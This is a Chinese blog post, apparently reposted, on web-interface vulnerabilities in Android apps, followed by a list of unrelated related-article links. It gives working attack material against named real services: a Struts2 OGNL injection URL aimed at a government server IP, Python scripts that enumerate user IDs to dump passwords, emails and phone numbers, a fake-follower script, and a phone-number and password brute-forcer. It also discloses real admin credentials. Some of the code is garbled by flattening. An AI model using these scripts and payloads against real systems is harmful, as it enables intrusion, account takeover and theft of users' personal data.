Android应用安全之WEB接口安全
Android应用安全不仅包括客户端的安全,也包括web接口的安全。移动App中的Web接口安全主要分为以下几块:
1.SQL注入漏洞
这是一个不能再常见的漏洞类型了,由于App的特性,开发人员认为使用App时无法获取到详细URL等信息,所以忽视了App防注入的编写。
例如:
糗事百科某处SQL注入可导致1500w用户信息泄露
http://loudong.360.cn/vul/info/qid/QTVA-2015-177818
全峰快递注入漏洞,可直接建服务器用户,各种订单用户数据泄露
http://loudong.360.cn/vul/info/qid/QTVA-2014-106574
永辉超市Appsql注入导致超市及用户信息泄露
http://loudong.360.cn/vul/info/qid/QTVA-2014-106385
社交App“小湿妹”某处洞洞,数据库沦陷
http://loudong.360.cn/vul/info/qid/QTVA-2015-179315
提升逼格的App“交换”数据库沦陷,用户信息泄露
http://loudong.360.cn/vul/info/qid/QTVA-2015-177968
这些漏洞都是由于App开发中忽视了接口可能存在SQL注入问题,其中也包括POST注入,GET注入,COOKIE注入等等。
拿糗事百科注入详细举例:
在查询用户详细信息时抓包,包内容如下:
GET /user/6122886/detail?rqcnt=12&r=dec363d71423481245949 HTTP/1.1
User-Agent: qiushibalke_6.2.0_WIFI_auto_7 Source: android_6.2.0 Model: Xiaomi/cancro_wc_lte/cancro:4.4.4/KTU84P/V6.3.3.0.KXDCNBL:user/release-keys
Qbtoken: 929efcfa9875f584f9f4db17343d16d7b1ec404b Uuid: IMEI_2af2c2beee1dbd00d3436cffdec363d7 Deviceidinfo: {"DEVICEID":"99000566573203","RANDOM":"","ANDROID_ID":"2e6990c574abdd57","SIMNO":"89860313100285780111'","IMSI":"460031219452851","SERIAL":"5d999491","MAC":"0c:1d:af:db:07:9c","SDK_INT":19}
Host: nearby.qiushibaike.com
Connection: Keep-Alive
Accept-Encoding: gzip
其中Qbtoken参数存在注入。
2.任意用户注册漏洞
此类漏洞并不危害到用户信息泄露,但是别有用心的黑客可能会利用此漏洞注册任意手机号码,并利用此注册账号去社工号码主人的朋友或者家人。
漏洞案例:
App“tataufo”某处漏洞可修改任意用户密码
http://loudong.360.cn/vul/info/qid/QTVA-2015-192209
App“约饭”任意用户注册
http://loudong.360.cn/vul/info/qid/QTVA-2015-193610
App“楼楼”任意用户注册
http://loudong.360.cn/vul/info/qid/QTVA-2015-193622
任意用户注册漏洞中大部分是由于验证码机制不健全和注册过程验证不严谨,其中App“约饭”任意用户注册时,发送注册请求后直接返回了验证码值。
而App“楼楼”任意用户注册中,注册流程分为四个步骤
(1).注册用户,填写手机号,发送接收验证码请求。
(2).接收验证码,并填写。
(3).填写并验证验证码,进入填写资料步骤。
(4).填写用户资料,完成注册。
而这里在第四个步骤中出现了问题,前三步正常操作,在第四步时将资料中的号码改为任意手机号即能实现任意用户注册。
3.用户信息泄露
这种类型的漏洞多在用户资料查阅处存在,由于编写不严谨,在查询用户资料时会返回用户隐私信息,如账号邮箱,手机,密码等。
如:
App“叽友”泄露用户信息
http://loudong.360.cn/vul/info/qid/QTVA-2015-193589
Duang~App“小柚”用户信息泄露附验证脚本(密码,邮箱,手机号)
http://loudong.360.cn/vul/info/qid/QTVA-2015-187508
糗事百科某处泄露用户信息
http://loudong.360.cn/vul/info/qid/QTVA-2015-177827
拿App“小柚”举例
访问用户资料直接返回一些敏感信息,密码,邮箱,手机号
写个Python脚本来dump用户信息
#!/usr/bin/env python # _*_ coding: utf-8 _*_
# author=Hydra_Tc
# create=20150227 import os
import json
import random
import requests
import threadpool as tp def baopo():
flag = 0
userid = 0
while True:
flag += 1
userid += 1
data = {'userid' : userid,}
api_url = 'http://App.hixiaoyou.com/User/Me/getuserinfo'
my_string = "userid"
try:
print '[%s] Test Userid: %s' % (flag, userid)
req = requests.post(api_url, data=data, timeout=5)
req_id = json.loads(req.content)['userid']
req_mail = json.loads(req.content)['email']
req_mobile = json.loads(req.content)['mobile']
req_qq = json.loads(req.content)['QQ']
req_pass = json.loads(req.content)['password']
except:
req_status = 0
if my_string in req.json():
success_f = open('./success_user1.txt', 'a+')
success_f.write('%s--%s--%s--%s--%s\n'%(req_id,req_qq,req_mobile,req_mail,req_pass))
success_f.close() if __name__ == '__main__':
baopo()
pool = tp.ThreadPool(100)
reqs = tp.makeRequests(baopo)
[pool.putRequest(req) for req in reqs]
pool.wait()
结果如下
4.框架问题(st2等)
这个并不多但也不容忽视
国家统计局手机网站新闻管理系统两处漏洞
http://loudong.360.cn/vul/info/qid/QTVA-2014-113456
App“将爱”某漏洞可致服务器沦陷,泄露用户信息
http://loudong.360.cn/vul/info/qid/QTVA-2015-193592
国家统计局手机新闻管理系统漏洞如下:
http://219.235.129.108:8080/NewManager/admin/login.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
5.后台弱口令
由于App站点URL信息并不是很明显,所以管理在设置后台路径和密码方面也显得比较随意
如:
北京市地铁站新闻后台管理系统沦陷
http://loudong.360.cn/vul/info/qid/QTVA-2014-124853
抓包得到
http://119.254.65.181/SubwayManagement/webservice/SubwayService
往上跨目录得到
http://119.254.65.181/SubwayManagement/和http://119.254.65.181/两个后台系统,前者存在弱口令admin admin 和 admin beijingditieAppadmin
6.越权漏洞
这个漏洞出现率仅次于SQL注入
App“逗萌”某处设计不当(附验证脚本)
http://loudong.360.cn/vul/info/qid/QTVA-2015-192485
社交App“足记”漏洞打包
http://loudong.360.cn/vul/info/qid/QTVA-2015-178379
App“tataufo”某处漏洞可修改任意用户密码
http://loudong.360.cn/vul/info/qid/QTVA-2015-192209
拿App“逗萌”某处设计不当为例
在App中对用户添加关注处没有任何验证
POST /HC_AppClient/client-method/followUser.json HTTP/1.1
Content-Length: 39
Content-Type: Application/x-www-form-urlencoded
Host: 115.29.5.49:80
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) fromUserId=14004049&toUserId=1398055700
写了个脚本开始刷粉丝
#!/usr/bin/env python # _*_ coding: utf-8 _*_
# author=Hydra_Tc
# create=20150306 import os
import json
import random
import requests
import threadpool as tp def baopo():
flag = 1
fromUserId = 13980556
while True:
flag += 1
fromUserId += 1
data = {'fromUserId' : fromUserId, 'toUserId' : '',}
api_url = 'http://115.29.5.49/HC_APPClient/client-method/followUser.json'
my_string = "body"
try:
print '[%s] Test Userid: %s' % (flag, fromUserId)
req = requests.post(api_url, data=data, timeout=5)
except:
req_status = 0
if my_string in req.json():
success_f = open('./success_user1.txt', 'a+')
success_f.write('%s\n'%(fromUserId))
success_f.close() if __name__ == '__main__':
baopo()
pool = tp.ThreadPool(100)
reqs = tp.makeRequests(baopo)
[pool.putRequest(req) for req in reqs]
pool.wait()
aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyBpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBXaW5kb3dzIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOkJDQzA1MTVGNkE2MjExRTRBRjEzODVCM0Q0NEVFMjFBIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOkJDQzA1MTYwNkE2MjExRTRBRjEzODVCM0Q0NEVFMjFBIj4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6QkNDMDUxNUQ2QTYyMTFFNEFGMTM4NUIzRDQ0RUUyMUEiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6QkNDMDUxNUU2QTYyMTFFNEFGMTM4NUIzRDQ0RUUyMUEiLz4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+IDw/eHBhY2tldCBlbmQ9InIiPz6p+a6fAAAAD0lEQVR42mJ89/Y1QIABAAWXAsgVS/hWAAAAAElFTkSuQmCC" alt="" data-src="http://mmbiz.qpic.cn/mmbiz/Ok4fxxCpBb6wUIMTXzicb7dXSIsSCYQticCE6OyMq6AgMxicFtApRKEwLk6r22TyoDKic7aLtKn9nktty2UibsgOQlQ/0?wx_fmt=jpeg" data-type="jpeg" data-ratio="0.6533333333333333" data-w="600" />
7.接口未限制导致撞库
其实这个我也是看到蘑菇牛发的没拍漏洞才开始注意此类型漏洞的,运气还算不错,两三天就找到个同类型的。
App“疯拍”两处漏洞打包,附验证脚本
http://loudong.360.cn/vul/info/qid/QTVA-2015-185861
疯拍存在两处漏洞,此处只举例接口未限制导致撞库。
我用一个未注册手机号登陆返回提示:
{"success":false,"error":"\u8be5\u53f7\u7801\u5c1a\u672a\u6ce8\u518c\uff0c\u8bf7\u5148\u6ce8\u518c"}
{"success":false,"error":"该号码尚未注册,请先注册"}
提示尚未注册,用注册的用户登陆。
若密码错误,则会提示
{"success":false,"error":"\u5bc6\u7801\u9519\u8bef\uff0c\u518d\u4ed4\u7ec6\u60f3\u60f3"}
{"success":false,"error":"密码错误,再仔细想想"}
若密码正确
{"success":true,"data":{"data":{"ucookie":"19151821c062f8a0252dc3a951940b8dc5a238188447a260b145e1e40fc3d48d9","username":"","avatar":"","level":0,"score":0,"setting":"{}","uid":16942,"nickname":"","t":1424918536},"expire":false}}
此处内容包含cookie,等相关信息。那么我们在蘑菇的脚本上稍微加一些改动即可实现爆破。
脚本如下,加了注释
#!/usr/bin/env python # _*_ coding: utf-8 _*_
# author=Hydra_Tc
# create=20150224S import json
import random
import requests
import threadpool as tp def _burp(mobile): # 验证密码是否正确
for password in ['qwertyu','', '', '', mobile,'','','']: # 弱口令密码
api_url = 'http://aifengpai.com/api/user/login' # 登陆接口
data = {'mobile': mobile,
'did':'c71c53fa20c38d4a14ae8245bac9bb99',
'password': password,} # 登陆参数,这里简化了,去除了不必要的参数
try:
print '[*] Burp mobile: %s' % mobile
req = requests.post(api_url, data=data, timeout=5) # requests模块的post请求
except:
continue
try:
success = json.loads(req.content)['data']
burp_success = open('./fengpai_account.txt', 'a+') # 随机成功后生成该txt,并写成功数据
burp_success.write('%s:::%s\n'%(mobile, password))
burp_success.close()
print success
return success
except:
success = 0
print '[-] Burp False'
continue def _status(args): # 判断手机号是否注册
flag = 0
list = ""
sa = []
for i in range(8): #长度8,改了一下蘑菇牛的范围写法,自身测试感觉测试速度稍微加快了点
sa.Append(random.choice(list))
while True:
flag += 1
account_test = random.choice(['','','','','','','','','','','','','','','',''])\ # 手机号前几位
+''.join(sa)
data = {'mobile': account_test,
'did':'c71c53fa20c38d4a14ae8245bac9bb99',
'password': 'jhjhksd'}
api_url = 'http://aifengpai.com/api/user/login'
try:
print '[%s] Test account: %s' % (flag, account_test)
req = requests.post(api_url, data=data, timeout=3)
req_status = json.loads(req.content)['error'] # 提取response里error处内容
except:
req_status = 0
if req_status == u'\u5bc6\u7801\u9519\u8bef\uff0c\u518d\u4ed4\u7ec6\u60f3\u60f3': #两值相等则存在有该账号
success_f = open('./fp_phone.txt', 'a+')
success_f.write('%s\n'%account_test)
success_f.close()
_burp(account_test)
print '\n[OK] account: %s\n' % account_test if __name__ == '__main__':
args = []
for i in range(30):
args.Append(args)
pool = tp.ThreadPool(30)
reqs = tp.makeRequests(_status, args)
[pool.putRequest(req) for req in reqs]
pool.wait()
因为该App并没有像美拍那样拥有很多用户所以爆破起来有点难,所以我在测试的时候把,测试范围函数里的list改为了改了下蘑菇牛的随机数生成方式。
list = ""
手机前三位改为了
account_test = random.choice([''])\ # 手机号前几位
进行爆破结果如下这样只会生成13888888888(这个号码提交之前测试时候注册过)
本文转载自 DyckEye
原文链接:http://www.dickeye.com/?id=16
Android应用安全之WEB接口安全的更多相关文章
- 大叔也说Xamarin~Android篇~调用远程API接口,发POST请求
回到目录 Xamarin我们在上节已经教大家如何去部署它的环境了,今天来说一个实际的例子,使用android客户调用.net web api的一个接口,并发送POST请求,当服务端回到请求后做出响应, ...
- 总结使人进步,可视化界面GUI应用开发总结:Android、iOS、Web、Swing、Windows开发等
可视化界面的软件,是21世纪最主流的应用类型了,黑屏控制台的不适合普通用户. 2004年左右的时候,作为普通网民,接触的自然是可视化,准确是Windows那一套. 那个时候,Microsoft ...
- 《Python Web 接口开发与测试》---即将出版
为什么要出这样一本书? 首先,今年我有不少工作是跟接口自动化相关的,工作中的接口自动化颇有成效. 我一直是一个没有测试大格局的人,在各种移动测试技术爆发的这一年,我却默默耕耘着自己的一亩三分地儿(We ...
- web接口开发与测试
最近一直在学习和整理web开发与接口测试的相关资料.接口测试本身毫无任何难度,甚至有很多工具和类库来帮助我们进行接口测试.大多测试人员很难深入了解web接口测试的原因是对web开发不太了解,当你越了解 ...
- Android项目,从web上取下汉字,中文部分乱码
Android项目,从web上取下汉字,中文部分乱码. 常见问题,搜索一下,网上有很多办法解决.如果还没有试过这个办法,可以尝试一下. BufferedReader in = new Buffered ...
- JMeter基于http请求的web接口性能测试总结
[本文出自天外归云的博客园] 基于http请求的web接口性能测试总结 压测的目的:对于Web接口压测的目的最终是要在对数据库造成压力的情况下观察压测服务器的cpu是否达到预警值.memory是否发生 ...
- python WEB接口自动化测试之requests库详解
由于web接口自动化测试需要用到python的第三方库--requests库,运用requests库可以模拟发送http请求,再结合unittest测试框架,就能完成web接口自动化测试. 所以笔者今 ...
- 《Web接口开发与自动化测试 -- 基于Python语言》 ---前言
前 言 本书的原型是我整理一份Django学习文档,从事软件测试工作的这六.七年来,一直有整理学习资料的习惯,这种学习理解再输出的方式对我非常受用,博客和文档是我主要的输出形式,这些输出同时也帮 ...
- oracle触发器 调用 web接口
最近要求开发当数据表发生变化的时候调用web接口的需求,上网找了好几篇文章看着都觉得不是很好,也根据别人的思路去实现了下,感觉都不太理想,最后使用URLConnection实现了调用.具体查看一下代码 ...
随机推荐
- 将textarea实现自适应高度及IE下滚动条不出现的bug
1.<el-table-column label="备注" width="180"> <template scope="scope& ...
- OSGI企业应用开发(六)细说Blueprint & Gemini Blueprint(一)
上篇文章介绍了如何使用Blueprint將Spring框架整合到OSGI应用的Bundle中,从上篇文章中我们大概了解了Blueprint与Gemini Blueprint的关系,简单的说,Bluep ...
- python的函数(三)
1,函数多类型传值和冗余参数 2,递归函数 1,函数多类型传值和冗余参数 1.0,函数多类型传值 定义1个函数, def fun(x,y): return x+y 调用该函数print fun(1,2 ...
- SQL 中常用存储过程xp_cmdshell运行cmd命令 (转载)
目的:使用SQL语句,在D盘创建一个文件夹myfile 首先查询系统配置 SELECT * FROM sys.configurations WHERE name='xp_cmdshell' OR na ...
- jboss eap6.1(1)
最近决定把公司的项目从jboss3.x迁移出来,先试着摸索一下最新的jboss服务器,从jboss官网上下了一份jboss-eap-6.1,然后找资料准备学习,同时将此次迁移过程记录下来,以备后续复习 ...
- Python邮件发送源码
-- coding:utf-8 -- i = 0 while i < 10: #发送十次 import smtplib from email.mime.text import MIMEText ...
- Spark 集群管理命令
[启动] # 启动所有服务 start-all.sh # 启动 master start-master.sh # 启动所有 worker start-slaves.sh # 启动单个 worker s ...
- git 学习汇总
生成gitignore 文件: https://gitignore.io/ git 版本回退 git reset --hard HEAD^ 上一个版本就是HEAD^,上上一个版本就是HEAD^^,当然 ...
- .net core 入坑经验 - 2、MVC Core之获取网站运行路径
这次是建立了asp.net mvc core项目,在controller中想获取网站在硬盘中的路径,找了一圈Server.MapPath() 已不存在,HttpContent也一样,经过查阅资料发现是 ...
- 一次gcc编译失败分析
1. 场景: 在使用gcc编译时,编译器报错:xxx:'xxx'未定义的引用 2. 排查过程: 首先,我很自然的想到是不是自己使用了未定义的函数或者将函数名称写错了,在检查了一边过后,我发现自己使 ...